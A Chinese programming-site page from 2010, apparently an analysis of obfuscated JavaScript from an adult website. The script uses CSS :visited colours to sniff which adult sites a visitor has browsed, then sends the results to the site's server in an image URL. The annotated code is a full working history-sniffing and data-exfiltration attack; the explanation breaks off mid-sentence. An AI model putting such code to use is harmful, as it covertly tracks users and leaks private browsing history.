悄悄用脚本检查你访问过哪些网站的代码


Posted in Javascript onDecember 04, 2010

打开它的“页面源文件”,你能找到一段加密过的JS脚本:

function ypol(){ 
//K是一个对象,实际上是一个数组。存了一堆加密过的pr*n站链接。 
var k={0:"qpsoivc/dpn",1:"sfeuvcf/dpn",2:"bevmugsjfoeg joefs/dpn",3:"ywjefpt/dpn",4:"uvcf9/dpn",5:"yoyy/d pn",6:"nfhbqpso/dpn",7:"nfhbspujd/dpn",8:"yibntufs /dpn",9:"bxfnqjsf/dpn",10:"sfbmjuzljoht/dpn",11:"c sb{{fst/dpn",12:"yuvcf/dpn",13:"cbohcspt2/dpn",14: "gmjoh/dpn",15:"gsffpoft/dpn",16:"nzgsffqbztjuf/dp n",17:"efcpobjscmph/dpn",18:"qbztfswf/dpn",19:"nby qpso/dpn",20:"wjefpt{/dpn",21:"bfco/ofu",22:"qpsop sbnb/dpn"}; 
var g=[]; 
for(var m in k){ 
var d=k[m]; //遍历k中的元素赋值给d 
var a=""; 
for(var f=0;f<d.length;f++){ 
a+=String.fromCharCode(d.charCodeAt(f)-1); 
}/* 这里把d中的每一条字符都还原了。 
* charCodeAt(char) 函数返回char的ascii码 
* String.fromCharCode(asccii) 返回ascii码对应的字符 
* 然后把结果赋值给a 
* 比如第一次循环,a的值就是 qpsoivc/dpn -> pornhub.com 
*/ 
var h=false; 
/* 
* 这个循环创建A对象并让链接赋值为 http://a/ 和 http://www.a/ 
* 为什么要循环来2次,目的是为了准确性 
* 访问 http://example.com/ 和 http://www.example.com/ 对于浏览器来说,是不同的域名 
* 所以要区别对待 
*/ 
for(var j in {"http://":"","http://www.":""}){ 
var l=document.createElement("a"); //创建一个A对象 
l.href=j+a; 
document.getElementById("ol").appendChild(l); 
// A对象附加给一个id为ol的元素上,要附加在一个在DOM树上的元素,浏览器才会render这个元素,并设置合适的CSS 
var e=""; 
if(navigator.appName.indexOf("Microsoft")!=-1){ 
e=l.currentStyle.color; //取IE中A对象的颜色 
}else { 
e=document.defaultView.getComputedStyle(l,null).ge tPropertyValue("color"); 
//取其他标准浏览器的颜色 
} 
if(e=="#0c2238"||e=="#0c2238"){ 
/* 
* 如果是紫色,就表示访问过此站点。 
* 浏览器默认给访问过的链接标记为紫色 
* a:visited{color: #123456} 
*/ 
h=true; 
} 
} 
if(h){ //如果访问过,把站点加入列表g 
g.push(m); 
} 
} 
var b=(g instanceof Array)?g.join(","):""; //把g由数组变成字符串 
var c=document.createElement("img"); //建立一个img对象 
c.src="http://ol.youporn.com/blank.gif?id="+b; //img的src指向自家服务器上的一幅图像,关键是附带上了g数组的值 
document.getElementById("ol").appendChild(c); //加入DOM树,理由跟前面的A一样 
/* 
* 以一次图片访问,在web-server
Javascript 相关文章推荐
jQuery中的.bind()、.live()和.delegate()之间区别分析
Jun 08 Javascript
js登录弹出层特效
Mar 07 Javascript
js 动态为textbox添加下拉框数据源的方法
Apr 24 Javascript
简介AngularJS的视图功能应用
Jun 17 Javascript
css如何让浮动元素水平居中
Aug 07 Javascript
基于BootStrap Metronic开发框架经验小结【一】框架总览及菜单模块的处理
May 12 Javascript
Javascript 基础---Ajax入门必看
Jul 06 Javascript
妙用Bootstrap的 popover插件实现校验表单提示功能
Aug 29 Javascript
Javascript实现图片懒加载插件的方法
Oct 20 Javascript
微信小程序实现点击返回顶层的方法
Jul 12 Javascript
Webpack devServer中的 proxy 实现跨域的解决
Jun 15 Javascript
JS前端轻量fabric.js系列物体基类
Aug 05 Javascript
jQuery)扩展jQuery系列之一 模拟alert,confirm(一)
Dec 04 #Javascript
高效的表格行背景隔行变色及选定高亮的JS代码
Dec 04 #Javascript
javascript innerHTML使用分析
Dec 03 #Javascript
统计出现最多的字符次数的js代码
Dec 03 #Javascript
解决jquery的.animate()函数在IE6下的问题
Dec 03 #Javascript
基于jQuery的左右滚动实现代码
Dec 03 #Javascript
基于jquery的finkyUI插件与Ajax实现页面数据加载功能
Dec 03 #Javascript
You might like
受疫情影响 动画《Re从零开始的异世界生活》第二季延期至7月
2020/03/10 日漫
使用Limit参数优化MySQL查询的方法
2008/11/12 PHP
php中转义mysql语句的实现代码
2011/06/24 PHP
解析PHP SPL标准库的用法(遍历目录,查找固定条件的文件)
2013/06/18 PHP
浅析PHP中的UNICODE 编码与解码
2013/06/29 PHP
地址栏上的一段语句,改变页面的风格。(教程)
2008/04/02 Javascript
JQuery 无废话系列教程(一) jquery入门 [推荐]
2009/06/23 Javascript
jquery插件之easing使用
2010/08/19 Javascript
Array, Array Constructor, for in loop, typeof, instanceOf
2011/09/13 Javascript
jQuery中创建实例与原型继承揭秘
2011/12/21 Javascript
jquery miniui 教程 表格控件 合并单元格应用
2012/11/25 Javascript
sencha touch 模仿tabpanel导航栏TabBar的实例代码
2013/10/24 Javascript
js实现百度联盟中一款不错的图片切换效果完整实例
2015/03/04 Javascript
jQuery判断元素上是否绑定了指定事件的方法
2015/03/17 Javascript
对JavaScript的全文搜索实现相关度评分的功能的方法
2015/06/24 Javascript
jquery不常用方法汇总
2015/07/26 Javascript
JS制作图形验证码实现代码
2020/10/19 Javascript
获取今天,昨天,本周,上周,本月,上月时间(实例分享)
2017/01/04 Javascript
Vue中用props给data赋初始值遇到的问题解决
2018/11/27 Javascript
9102了,你还不会移动端真机调试吗
2019/03/25 Javascript
Python import自定义模块方法
2015/02/12 Python
python读取json文件并将数据插入到mongodb的方法
2015/03/23 Python
Python连接MySQL并使用fetchall()方法过滤特殊字符
2016/03/13 Python
pyCharm 设置调试输出窗口中文显示方式(字符码转换)
2020/06/09 Python
html5 Canvas画图教程(11)—使用lineTo/arc/bezierCurveTo画椭圆形
2013/01/09 HTML / CSS
英国著名国际平价时尚男装品牌:Topman
2016/08/27 全球购物
工程项目经理岗位职责
2013/12/15 职场文书
心理健康心得体会
2014/01/02 职场文书
宗教学大学生职业生涯规划范文
2014/02/08 职场文书
预备党员自我批评思想汇报
2014/10/10 职场文书
2015大学生实训报告
2014/11/05 职场文书
毕业实习计划书
2015/01/16 职场文书
员工自我评价范文
2015/03/11 职场文书
预备党员入党感言
2015/08/01 职场文书
2016年小学生寒假总结
2015/10/10 职场文书
MySQL kill不掉线程的原因
2021/05/07 MySQL